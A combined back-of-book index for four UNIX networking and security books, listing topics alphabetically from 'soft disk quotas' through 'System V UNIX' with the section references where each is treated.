soft disk quotas : Practical UNIX & Internet Security, 25.2.2.5. Using quotas
software
to automatically monitor the system : Building Internet Firewalls, 5.9.2. Consider Writing Software to Automate Monitoring
for backups
Practical UNIX & Internet Security, 7.4. Software for Backups
Practical UNIX & Internet Security, 7.4.7. inode Modification Times
for checking integrity : Practical UNIX & Internet Security, 19.5.5. NIS+ Limitations
checking new
Practical UNIX & Internet Security, 8.1.5.2. Checking new software
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
consistency of : Practical UNIX & Internet Security, 2.1. Planning Your Security Needs
distributing : (see FTP)
exporting : Practical UNIX & Internet Security, 26.4.1. Munitions Export
failure of : Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
hacker challenges : Practical UNIX & Internet Security, 27.2.4. Hacker Challenges
installing on machine : Building Internet Firewalls, 5.8.4. Reconfiguring for Production
keeping updated : TCP/IP Network Administration, 12.3.2. Keep Software Updated
logic bombs : Practical UNIX & Internet Security, 11.1.3. Logic Bombs
outdated, security problems with : TCP/IP Network Administration, 12.2. User Authentication
patches for, logging : Practical UNIX & Internet Security, 10.7.2.2. Informational material
patents : Practical UNIX & Internet Security, 6.7.1. Cryptography and the U.S. Patent System
proxying
Building Internet Firewalls, 4.1.2. Proxy Services
Building Internet Firewalls, 7.1.2.1. Proxy services lag behind nonproxied services
Building Internet Firewalls, 7.2. How Proxying Works
(see also proxy servers/services)
quality of
Practical UNIX & Internet Security, 1.4.2. Software Quality
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
removing unnecessary : TCP/IP Network Administration, 12.3.1. Remove Unnecessary Software
router : (see routers and routing)
stolen (pirated)
Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
Practical UNIX & Internet Security, 26.4.2.1. Software piracy and the SPA
stored via FTP : Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
testing : Practical UNIX & Internet Security, 1.4.2. Software Quality
vendor license agreements : Practical UNIX & Internet Security, 18.5.2. Trusting Your Software Vendor
viruses
Building Internet Firewalls, 1.4.2.4. A firewall can't protect against
Practical UNIX & Internet Security, 11.1.5. Viruses
worms : Practical UNIX & Internet Security, 11.1.6. Worms
software error : sendmail, 36.5.7. EX_SOFTWARE An Internal Software Error
Software Publishers Association (SPA) : Practical UNIX & Internet Security, 26.4.2.1. Software piracy and the SPA
Software Security Response Team (SSRT) : Practical UNIX & Internet Security, F.3.4.9. DEC (Digital Equipment Corporation)
Solaris systems
Practical UNIX & Internet Security, 1.3. History of UNIX
Practical UNIX & Internet Security, 8.7.1. Integrating One-time Passwords with UNIX
sendmail, 18.8. Alphabetized Reference
sendmail, D. Sun Enhancements
TCP/IP Network Administration, UNIX Versions
TCP/IP Network Administration, 2.5. The Routing Table
TCP/IP Network Administration, 2.7.1. Protocol Numbers
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
TCP/IP Network Administration, 3.5.1. Reverse Address Resolution Protocol
TCP/IP Network Administration, 5.1. Kernel Configuration
TCP/IP Network Administration, 10.2. Running sendmail as a Daemon
/etc/logindevperm : Practical UNIX & Internet Security, 17.3.21.1. /etc/fbtab and /etc/logindevperm
ifconfig command on
TCP/IP Network Administration, 6.1.2. Checking the Interface with ifconfig
TCP/IP Network Administration, 6.1.5.3. Metric
Line Printer (LP) print service in : TCP/IP Network Administration, 9.2.2. Solaris Line Printer Service
process limit : Practical UNIX & Internet Security, 25.2.1.1. Too many processes
remounting filesystems on : TCP/IP Network Administration, 9.1.3.2. The vfstab and fstab files
Secure RPC time window : Practical UNIX & Internet Security, 19.3.1.3. Setting the window
sharing directories on : TCP/IP Network Administration, 9.1.2.1. The share command
obtaining information about : TCP/IP Network Administration, 9.1.3. Mounting Remote Filesystems
/var/adm/loginlog file : Practical UNIX & Internet Security, 10.1.4. loginlog File
wtmpx file : Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
sorting by priority : (see priority, message)
sorting queue
sendmail, 34.8. Alphabetized Reference
(see also queue)
sortlist command, in resolv.conf : TCP/IP Network Administration, 8.2.1. The Resolver Configuration File
source address : Building Internet Firewalls, 6.6.1. Risks of Filtering by Source
source code
db library package : sendmail, C.2. Get the Source
keeping secret : Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
obtaining (sendmail)
sendmail, 2.1. Get the Source
sendmail, 18.3. Obtain the Source
Source Code Control System (SCCS)
Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
source port
filtering by : Building Internet Firewalls, 6.7.4. Risks of Filtering by Source
number
TCP/IP Network Administration, 1.6.1. User Datagram Protocol
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
Source Quench Message : TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
source routing
Building Internet Firewalls, 5.8.2.5. Turning off routing
Building Internet Firewalls, 6.3.2.1. IP options
sendmail, 18.8. Alphabetized Reference
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
sourcegateways : TCP/IP Network Administration, B.8.2. The rip Statement
SPA (Software Publishers Association) : Practical UNIX & Internet Security, 26.4.2.1. Software piracy and the SPA
space : (see whitespace)
Spaf's first principle : Practical UNIX & Internet Security, 2.4.4.5. Have authority commensurate with responsibility
spams : sendmail, 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
special
aliases : sendmail, 24.4. Special Aliases
characters
sendmail, 31.3.2. Syntax of the Configuration File Macro's Text
sendmail, 35.3. Header Field Contents
sendmail, 35.3.4.1. Balancing special characters
delivery precedence : sendmail, 14.4. Precedence
operators : (see wildcard operators)
rule sets : (see rule sets)
speed, processing : Building Internet Firewalls, 5.3.2. How Fast a Machine?
spell command, UNIX : Building Internet Firewalls, 5.8.5.3. About checksums for auditing
SPF protocol
TCP/IP Network Administration, 7.4. Interior Routing Protocols
TCP/IP Network Administration, 7.4.3. Open Shortest Path First
spies
Building Internet Firewalls, 1.2.2.4. Spies (Industrial and
Practical UNIX & Internet Security, 11.3. Authors
Practical UNIX & Internet Security, 14.4.4.1. Kinds of eavesdropping
split horizon rule : TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
spoofing
Practical UNIX & Internet Security, 8.5.3.1. Trusted path
Practical UNIX & Internet Security, 16.3. IP Security
Practical UNIX & Internet Security, 17.5. Monitoring Your Network with netstat
Practical UNIX & Internet Security, 19.4.4.4. Spoofing RPC
Practical UNIX & Internet Security, 19.4.4.5. Spoofing NIS
addresses : (see addresses)
spool file : Practical UNIX & Internet Security, 15.1.4. How the UUCP Commands Work
spoolers, printer : Practical UNIX & Internet Security, 12.3.4.1. Printer buffers
sprinkler systems
Practical UNIX & Internet Security, 12.2.1.1. Fire
(see also water)
Sprint response team : Practical UNIX & Internet Security, F.3.4.32. Sprint Response Team
sprintf function
Practical UNIX & Internet Security, 23.1.1. The Lesson of the Internet Worm
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
SPT_TYPE macro : sendmail, 18.8. Alphabetized Reference
src directory : sendmail, 2.3. What's What in src
sscanf function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
ssh (secure shell) : TCP/IP Network Administration, 12.2.6. Secure Shell
.ssh/identity.pub : TCP/IP Network Administration, 12.2.6. Secure Shell
.ssh_known_hosts file : TCP/IP Network Administration, 12.2.6. Secure Shell
ssh-keygen : TCP/IP Network Administration, 12.2.6. Secure Shell
SSL (Secure Socket Layer) : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
SSRT (Software Security Response Team) : Practical UNIX & Internet Security, F.3.4.9. DEC (Digital Equipment Corporation)
stab database class : sendmail, 33.8. Alphabetized Reference
stacks : (see protocols, stack)
staff limitations : TCP/IP Network Administration, 4.2.2. Defining the Subnet Mask
Stallman, Richard : Practical UNIX & Internet Security, 1. Introduction
standard resource records (RRs)
TCP/IP Network Administration, 8.3.2. Standard Resource Records
TCP/IP Network Administration, C.3.1. Standard Resource Records
start bit
Practical UNIX & Internet Security, 14.1. Modems: Theory of Operation
Practical UNIX & Internet Security, 14.2. Serial Interfaces
Start of Authority : (see SOA records)
startup command : Practical UNIX & Internet Security, 10.2.1. Accounting with System V UNIX
attacks via
Practical UNIX & Internet Security, 11.5.2. Start-up File Attacks
Practical UNIX & Internet Security, 11.5.2.7. Other initializations
intruder's changes to : Practical UNIX & Internet Security, 24.4.1.6. Changes to startup files
startup operating mode : sendmail, 31.10. Alphabetized Reference
startup script
Building Internet Firewalls, 5.8.2.1. How are services managed?
TCP/IP Network Administration, 7.3.1.1. Installing static routes at startup
TCP/IP Network Administration, 8.3.6.1. Starting named
stat function : Practical UNIX & Internet Security, 5.4. Using Directory Permissions
stat= equate (syslog output) : sendmail, 26.1.3.11. stat= status of delivery
state law enforcement : Practical UNIX & Internet Security, 26.2.1. The Local Option
stateless : Practical UNIX & Internet Security, 20.1.4.3. Connectionless and stateless
static
assignment of addresses : TCP/IP Network Administration, 4.2.1.1. Assigning host addresses
circumstances favoring : TCP/IP Network Administration, 4.3. Planning Routing
electricity : Practical UNIX & Internet Security, 12.2.1.8. Electrical noise
links : Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
routing
TCP/IP Network Administration, 4.3. Planning Routing
TCP/IP Network Administration, 7.1. Common Routing Configurations
TCP/IP Network Administration, 12.7.2. Routing control
adding routes : TCP/IP Network Administration, 7.3.1. Adding Static Routes
building tale for : TCP/IP Network Administration, 7.3. Building a Static Routing Table
installing routes at startup : TCP/IP Network Administration, 7.3.1.1. Installing static routes at startup
statements (in gated) : TCP/IP Network Administration, B.9. static Statements
statistics : sendmail, 26.2. Statistics
cron program and : sendmail, 26.2.3. Using cron for Daily and Weekly Statistics
specifying file for : sendmail, 34.8. Alphabetized Reference
StatusFile option and : sendmail, 22.4.5. The S Option and the Statistics File
syslog utility and : sendmail, 26.1.4. Gathering Statistics from syslog
status, sendmail : sendmail, B.1. Status file lines
"Status:" header line : sendmail, B.1. Status file lines
status monitor daemon : TCP/IP Network Administration, 9.1.1. NFS Daemons
StatusFile (S) option
sendmail, 22.4.5. The S Option and the Statistics File
sendmail, 26.2.1. The sendmail.st File
sendmail, 34.8. Alphabetized Reference
stdin, running SMTP on : sendmail, 36.7. Alphabetized Reference
STDIR= directive : sendmail, 18.4.8. STDIR=
Steele, Guy L. : Practical UNIX & Internet Security, 1. Introduction
sticky bits
Practical UNIX & Internet Security, 5.5.1. SUID, SGID, and Sticky Bits
Practical UNIX & Internet Security, 5.5.6. SGID and Sticky Bits on Directories
stickyhost feature : sendmail, 19.6. Alphabetized m4 Macros
stolen property : (see theft)
stop bit
Practical UNIX & Internet Security, 14.1. Modems: Theory of Operation
Practical UNIX & Internet Security, 14.2. Serial Interfaces
storage
Practical UNIX & Internet Security, 12.3.4. Protecting Local Storage
Practical UNIX & Internet Security, 12.3.4.5. Function keys
store-and-forward protocols
Building Internet Firewalls, 7.5. Proxying Without a Proxy Server
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
strcpy routine : Practical UNIX & Internet Security, 23.1.1. The Lesson of the Internet Worm
streadd function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
stream
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
TCP/IP Network Administration, 5.4. The Internet Daemon
strecpy function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
strength, cryptographic : Practical UNIX & Internet Security, 6.2.3. Cryptographic Strength
of DES algorithm
Practical UNIX & Internet Security, 6.4.4.3. DES strength
Practical UNIX & Internet Security, 6.4.5.2. Triple DES
of RSA algorithm : Practical UNIX & Internet Security, 6.4.6.3. Strength of RSA
string command : Practical UNIX & Internet Security, 12.3.5.2. X screen savers
string-type arguments : sendmail, 34.5. Option Argument Types
string values, in printcap parameters : TCP/IP Network Administration, 9.2.1. The printcap File
strings command : sendmail, 33.1. Enable at Compile Time
stripping
character high bit : sendmail, 30.8. Alphabetized F= Flags
comments from headers : sendmail, 30.8. Alphabetized F= Flags
newlines from "From:" headers : sendmail, 34.8. Alphabetized Reference
quotation marks
sendmail, 30.8. Alphabetized F= Flags
sendmail, 33.3.4.9. -q don't strip quotes from key (V8.7 and above)
strtrns function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
Structure of Management Information (SMI) : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
stub areas
TCP/IP Network Administration, 7.4.3. Open Shortest Path First
TCP/IP Network Administration, B.8.1. The ospf Statement
stuck locks : sendmail, 23.2.3.3. Locks can get stuck
su command
Practical UNIX & Internet Security, 4.2.1.2. Superuser is not for casual use
Practical UNIX & Internet Security, 4.3. su: Changing Who You Claim to Be
Practical UNIX & Internet Security, 4.3.8. Other Uses of su
becoming superuser : Practical UNIX & Internet Security, 4.3.4. Becoming the Superuser
log of failed attempts : Practical UNIX & Internet Security, 4.3.7. The Bad su Log
sulog file
Practical UNIX & Internet Security, 10.1. The Basic Log Files
Practical UNIX & Internet Security, 10.3.2. sulog Log File
utmp and wtmp files and : Practical UNIX & Internet Security, 10.1.2.1. su commandutmp and wtmp files andsu
subdomain name
sendmail, 7.3.1. The hostname
sendmail, 12.1.7. Adding the Domain
(see also $m macro)
subdomains
TCP/IP Network Administration, 3.3.2. Creating Domains and Subdomains
TCP/IP Network Administration, 8.3.5. The Reverse Domain File
"Subject:" header line
sendmail, 1.6. The Body
sendmail, 35.10. Alphabetized Reference
subnets
Building Internet Firewalls, C.9.2. Subnets
Practical UNIX & Internet Security, 16.2.1.2. Classical network addresses
TCP/IP Network Administration, 2.3. Subnets
TCP/IP Network Administration, 3.3.2. Creating Domains and Subdomains
administration of : TCP/IP Network Administration, 12.1.2.1. Use subnets to distribute control
architecture, screened
Building Internet Firewalls, 4.2.3. Screened Subnet Architecture
Building Internet Firewalls, 9.1. Screened Subnet Architecture
enterprise : (see enterprise)
for distributing control : TCP/IP Network Administration, 12.1.2.1. Use subnets to distribute control
mask (sm)
TCP/IP Network Administration, 2.3. Subnets
TCP/IP Network Administration, 4. Getting Started
TCP/IP Network Administration, 6.1. The ifconfig Command
assigning
TCP/IP Network Administration, 6.1.3. Assigning a Subnet Mask
TCP/IP Network Administration, A.1.1. The dip Script File
defining : TCP/IP Network Administration, 4.2.2. Defining the Subnet Mask
misconfigured : TCP/IP Network Administration, 11.4.1. Troubleshooting with the ifconfig Command
parameter : TCP/IP Network Administration, 9.4. A BOOTP Server
movement among : TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
reasons for : TCP/IP Network Administration, 4.2.2. Defining the Subnet Mask
statements, in dhcpd : TCP/IP Network Administration, 9.5.1. dhcpd.conf
subroutines, rules as : sendmail, 28.6.4. Rewrite Through Another Rule Set: $>set
subscribing : TCP/IP Network Administration, 13.5. Mailing Lists
substitution (in encryption) : Practical UNIX & Internet Security, 6.1.2. Cryptography and Digital Computers
subtypes : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
success data, DSN delivery : sendmail, 30.5.2.1. The $@ dsn part
suid root : (see root account/user)
SUID/SGID programs
Practical UNIX & Internet Security, 4.3.1. Real and Effective UIDs
Practical UNIX & Internet Security, 5.5. SUID
Practical UNIX & Internet Security, 5.5.7. SGID Bit on Files (System V UNIX Only): Mandatory
Practical UNIX & Internet Security, 23. Writing Secure SUID and Network Programs
Practical UNIX & Internet Security, B.3. SUID and SGID Files
back door via : Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
chown command and : Practical UNIX & Internet Security, 5.7. chown: Changing a File's Owner
chroot call and : Practical UNIX & Internet Security, 8.1.5.2. Checking new software
created by intruders : Practical UNIX & Internet Security, 24.4.1.3. New SUID and SGID files
on directories : Practical UNIX & Internet Security, 5.5.6. SGID and Sticky Bits on Directories
disabling (turning off) : Practical UNIX & Internet Security, 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
finding all files
Practical UNIX & Internet Security, 5.5.4. Finding All of the SUID and SGID Files
Practical UNIX & Internet Security, 5.5.4.1. The ncheck command
shell scripts
Practical UNIX & Internet Security, 5.5.3. SUID Shell Scripts
Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
uucp access : Practical UNIX & Internet Security, 15.3. UUCP and Security
writing : Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
SUID_ROOT_FILES_OK macro : sendmail, 18.8. Alphabetized Reference
suing : (see civil actions)
sulog file
Practical UNIX & Internet Security, 4.3.7. The Bad su Log
Practical UNIX & Internet Security, 10.3.2. sulog Log File
sum command
Practical UNIX & Internet Security, 6.5.5.1. Checksums
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
Sun Microsystems
Practical UNIX & Internet Security, F.3.4.34. Sun Microsystems
TCP/IP Network Administration, UNIX Versions
TCP/IP Network Administration, 3.3.5. Network Information Service
TCP/IP Network Administration, 3.7.1. File Sharing
TCP/IP Network Administration, 9.3. Network Information Service
TCP/IP Network Administration, 10.6.1. Pattern Matching
enhancements to sendmail : sendmail, D. Sun Enhancements
NIS : (see NIS)
NIS+ on : (see NIS+)
RPC : (see RPCs)
vendor specification : sendmail, 27.5.1. The vendor
SUN-DES-1 authentication : Practical UNIX & Internet Security, 17.3.21.3. The xhost facility
SunOS operating system : Practical UNIX & Internet Security, 1.3. History of UNIX
authdes_win variable : Practical UNIX & Internet Security, 19.3.1.3. Setting the window
/etc/fbtab file : Practical UNIX & Internet Security, 17.3.21.1. /etc/fbtab and /etc/logindevperm
TFTP sand : Practical UNIX & Internet Security, 17.3.7. Trivial File Transfer Protocol (TFTP) (UDP Port 69)
trusted hosts and : Practical UNIX & Internet Security, 17.3.18.5. Searching for .rhosts files
superencryption : Practical UNIX & Internet Security, 6.4.5. Improving the Security of DES
supernetting : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
SuperSafe (s) option
sendmail, 23.6.1. Periodically with -q
sendmail, 34.8. Alphabetized Reference
superusers
Practical UNIX & Internet Security, 4. Users, Groups, and the Superuser
Practical UNIX & Internet Security, 4.2.1. The Superuser
Practical UNIX & Internet Security, 4.2.1.5. The problem with the superuser
(see also root account/user)
becoming with su : Practical UNIX & Internet Security, 4.3.4. Becoming the Superuser
changing passwords
Practical UNIX & Internet Security, 8.4.1. Changing an Account's Password
Practical UNIX & Internet Security, 8.8.8. Disabling an Account by Changing Its Password
encryption and : Practical UNIX & Internet Security, 6.2.4. Why Use Encryption with UNIX?
logging attempts to become : (see sulog file)
privileges
Practical UNIX & Internet Security, 27.1.3. What the Superuser Can and Cannot Do
TCP/IP Network Administration, 8.3.3. The Cache Initialization File
TCP/IP Network Administration, 9.3. Network Information Service
TCP/IP Network Administration, B.1. The gated Command
problems with : Practical UNIX & Internet Security, 4.2.1.5. The problem with the superuser
restrictions on : Practical UNIX & Internet Security, 4.2.1.4. What the superuser can't do
TCB files : Practical UNIX & Internet Security, 8.5.3.2. Trusted computing base
using passwd command : Practical UNIX & Internet Security, 3.5. Verifying Your New Password
web server as : Practical UNIX & Internet Security, 18.2.1. The Server's UID
supporting Internet services : (see network services)
suppressing header lines : sendmail, 20.3. Alphabetized V8.8 Subroutines
SURFnet : Practical UNIX & Internet Security, F.3.4.25. Netherlands: German government institutions
surges : (see power surges)
suspicious characters
sendmail, 22.8.2. The smrsh Program
sendmail, 23.3.4. Unknown Control Character in qf File
svc.conf file : sendmail, 7.3.1. The hostname
SVR4 (System V Release 4) : Practical UNIX & Internet Security, 1.3. History of UNIX
swap partition
Practical UNIX & Internet Security, 5.5.1. SUID, SGID, and Sticky Bits
Practical UNIX & Internet Security, 25.2.3. Swap Space Problems
SWATCH program
Building Internet Firewalls, 5.9.2. Consider Writing Software to Automate Monitoring
Building Internet Firewalls, B.6.4. SWATCH
Practical UNIX & Internet Security, 10.6. Swatch: A Log File Tool
Practical UNIX & Internet Security, 10.6.2. The Swatch Configuration File
Practical UNIX & Internet Security, E.4.9. Swatch
SWITCH : Practical UNIX & Internet Security, F.3.4.35. SWITCH-connected sites
switch database class : sendmail, 33.8. Alphabetized Reference
switched services : sendmail, 34.8. Alphabetized Reference
switches, packet
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
Practical UNIX & Internet Security, 16.3. IP Security
TCP/IP Network Administration, 1.5.1.1. The datagram
TCP/IP Network Administration, 1.7. Application Layer
(see also packets)
asymmetric : TCP/IP Network Administration, 11.4.4. Subdividing an Ethernet
switches, command-line (sendmail)
sendmail, 18.2. Vendor Versus Compiling
sendmail, 36.2. Command-Line Switches
sendmail, 36.4.3. Third: Process Switches
ignoring illegal : sendmail, 36.7. Alphabetized Reference
for makemap program : sendmail, 33.2.1. makemap Command-Line Switches
symbol table : sendmail, 12.1.3. Class Macros in the LHS
symbolic links and permissions
Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
Practical UNIX & Internet Security, 18.2.2.2. Additional configuration issues
Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
symbolic name, delivery agent : sendmail, 30.2. The Symbolic Name
SymLinksIfOwnerMatch option : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
symmetric encryption : (see private-key cryptography)
SYN (synchronize sequence numbers) bit
Building Internet Firewalls, C.6.2. Transmission Control Protocol
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
SYN bit : Practical UNIX & Internet Security, 16.2.4.2. TCP
sync system call
Practical UNIX & Internet Security, 5.6. Device Files
Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
synchronization : TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
synchronize sequence numbers (SYN) bit : TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
synchronous modems : (see modems)
synchronous PPP, support for : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
sys (user) : Practical UNIX & Internet Security, 4.1. Users and Groups
sys_errlist : sendmail, 18.5.3. Badly defined sys_errlist
SYS_TYPE macro : sendmail, 18.8. Alphabetized Reference
sysexits.h file
sendmail, 36.5. sendmail's exit() Status
sendmail, B.1. Status file lines
syslog
Building Internet Firewalls, 5.8.1.4. Safeguard the system logs
Practical UNIX & Internet Security, 4.3.7. The Bad su Log
Practical UNIX & Internet Security, 10.5. The UNIX System Log (syslog) Facility
Practical UNIX & Internet Security, 10.5.3.1. Beware false log entries
Practical UNIX & Internet Security, 23.1.1. The Lesson of the Internet Worm
(see also logs/logging)
configuring : Building Internet Firewalls, 8.11. syslog
example output from : Building Internet Firewalls, 12.2.2. What Should You Watch For?
false log entries : Practical UNIX & Internet Security, 10.5.3.1. Beware false log entries
SWATCH program with : Building Internet Firewalls, 5.9.2. Consider Writing Software to Automate Monitoring
where to log
Practical UNIX & Internet Security, 10.5.2. Where to Log
Practical UNIX & Internet Security, 10.5.2.3. Logging everything everywhere
syslog file : Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
syslog.conf file
Practical UNIX & Internet Security, 10.5.1. The syslog.conf Configuration File
sendmail, 26.1.2. Tuning syslog.conf
SYSLOG_BUFSIZE macro : sendmail, 18.8. Alphabetized Reference
syslogd
sendmail, 26.1.2. Tuning syslog.conf
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, A.2. The PPP Daemon
TCP/IP Network Administration, A.3. chat
systat service : Practical UNIX & Internet Security, 17.3.1. systat (TCP Port 11)
system
(see also networks and networking)
(see also operating systems)
administration : (see system administration)
auditing activity on : Practical UNIX & Internet Security, 2.1. Planning Your Security Needs
autonomous : Building Internet Firewalls, C.10. Internet Routing Architecture
backing up critical files
Practical UNIX & Internet Security, 7.3. Backing Up System Files
Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
clock : (see system clock)
crashes, watching carefully : Building Internet Firewalls, 5.10.1. Watch Reboots Carefully
customized : Building Internet Firewalls, 13.1.6. Restore and Recover
database files : Practical UNIX & Internet Security, 1.2. What Is an Operating System?
defense, diversity of : Building Internet Firewalls, 3.7. Diversity of Defense
documenting after incident
Building Internet Firewalls, 13.1.5. Snapshot the System
Building Internet Firewalls, 13.4.5. Planning for Snapshots
failure of : Building Internet Firewalls, 3.5. Fail-Safe Stance
identity of : sendmail, 31.7.1. Macros and the System Identity
keeping up-to-date : Building Internet Firewalls, 12.3.2. Keeping Your Systems Up To Date
labeling and diagramming : Building Internet Firewalls, 13.5.2. Labeling and Diagraming Your System
logging activity : (see logs/logging)
monitoring
Building Internet Firewalls, 5.9.2. Consider Writing Software to Automate Monitoring
Building Internet Firewalls, 12.2. Monitoring Your System
operating, testing reload of : Building Internet Firewalls, 13.5.6. Testing the Reload of the Operating
OSTYPE declaration
sendmail, 16.2.2. OSTYPE
sendmail, 19.3.1. OSTYPE()
overload attacks : Practical UNIX & Internet Security, 25.2.1.2. System overload attacks
performance : (see performance)
rebuilding : Building Internet Firewalls, 13.1.6. Restore and Recover
remote, commands on : Practical UNIX & Internet Security, 15.1.2. uux Command
restoring after incident : Building Internet Firewalls, 13.1.6. Restore and Recover
planning for : Building Internet Firewalls, 13.4.6. Planning for Restoration and Recovery
shutting down : Building Internet Firewalls, 13.1.2. Disconnect or Shut Down, as
summarizing usage per user : Practical UNIX & Internet Security, 25.2.2.2. quot command
transfering files to other : Practical UNIX & Internet Security, 15.1.1. uucp Command
system (in swatch program) : Practical UNIX & Internet Security, 10.6.2. The Swatch Configuration File
system administration
Practical UNIX & Internet Security, 2.4.4.5. Have authority commensurate with responsibility
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 3.1. Names and Addresses
avoiding conventional passwords
Practical UNIX & Internet Security, 8.8. Administrative Techniques for Conventional Passwords
Practical UNIX & Internet Security, 8.8.9. Account Names Revisited: Using Aliases for Increased
breaking forward loops : sendmail, 25.7.2. Forwarding Loops
change monitoring : Practical UNIX & Internet Security, 9.3. A Final Note
changing passwords
Practical UNIX & Internet Security, 8.4.1. Changing an Account's Password
Practical UNIX & Internet Security, 8.8.8. Disabling an Account by Changing Its Password
cleaning up /tmp directory : Practical UNIX & Internet Security, 25.2.4. /tmp Problems
contacting administrator : Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
controlling UUCP security : Practical UNIX & Internet Security, 15.3. UUCP and Security
detached signatures (PGP) : Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
disabling finger system : Practical UNIX & Internet Security, 17.3.8.2. Disabling finger
discovering intruders
Practical UNIX & Internet Security, 24.2. Discovering an Intruder
Practical UNIX & Internet Security, 24.2.6. Anatomy of a Break-in
dual universes and : Practical UNIX & Internet Security, 5.9.1. Dual Universes
errors by : Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
finding largest files : Practical UNIX & Internet Security, 25.2.2.1. Disk-full attacks
immutable files and : Practical UNIX & Internet Security, 9.1.1. Immutable and Append-Only Files
locked accounts : Practical UNIX & Internet Security, 3.3. Entering Your Password
logging : (see logs/logging)
message authentication : Practical UNIX & Internet Security, 6.5.2. Using Message Digests
monitoring phantom mail : Practical UNIX & Internet Security, 17.3.4.2. Using sendmail to receive email
new passwords : Practical UNIX & Internet Security, 3.4. Changing Your Password
read-only filesystems and : Practical UNIX & Internet Security, 9.1.2. Read-only Filesystems
references on : Practical UNIX & Internet Security, D.1.11. UNIX Programming and System Administration
removing automatic backups : Practical UNIX & Internet Security, 18.2.3.5. Beware stray CGI scripts
responsibilities of administrators
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 4. Getting Started
TCP/IP Network Administration, 4.3. Planning Routing
TCP/IP Network Administration, 4.6. Informing the Users
TCP/IP Network Administration, 5.1. Kernel Configuration
sanitizing media : Practical UNIX & Internet Security, 12.3.2.3. Sanitize your media before disposal
statistics : sendmail, 26.1.4. Gathering Statistics from syslog
trusting : Practical UNIX & Internet Security, 27.3.2. Your System Administrator?
weakness-finding tools : Practical UNIX & Internet Security, 11.1.1. Security Tools
system call : Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
system clock
changing
Practical UNIX & Internet Security, 5.1.5. File Times
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
Practical UNIX & Internet Security, 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
for random seeds : Practical UNIX & Internet Security, 23.8. Picking a Random Seed
Secure RPC timestamp : Practical UNIX & Internet Security, 19.3.1.3. Setting the window
System Dynamics cards : Building Internet Firewalls, 10.3.2. Time-based Passwords
system files
Practical UNIX & Internet Security, 11.5.3.5. System initialization files
Practical UNIX & Internet Security, 11.6.1.2. Writable system files and directories
TCP/IP Network Administration, 5.1. Kernel Configuration
system functions
Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
Practical UNIX & Internet Security, 18.2.3.2. Testing is not enough!
Practical UNIX & Internet Security, 18.2.3.3. Sending mail
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
checking arguments to : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
System Network Architecture (SNA) : Practical UNIX & Internet Security, 16.4.2. SNA
System V UNIX : Practical UNIX & Internet Security, 1.3. History of UNIX
accounting with : Practical UNIX & Internet Security, 10.2.1. Accounting with System V UNIX
chroot in : Practical UNIX & Internet Security, 8.1.5. Restricted Filesystem
default umask value : Practical UNIX & Internet Security, 5.3. The umask
groups and : Practical UNIX & Internet Security, 4.1.3.2. Groups and older AT&T UNIX
inittab program : Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
modems and : Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
passwords : Practical UNIX & Internet Security, 8.1.1. Accounts Without Passwords
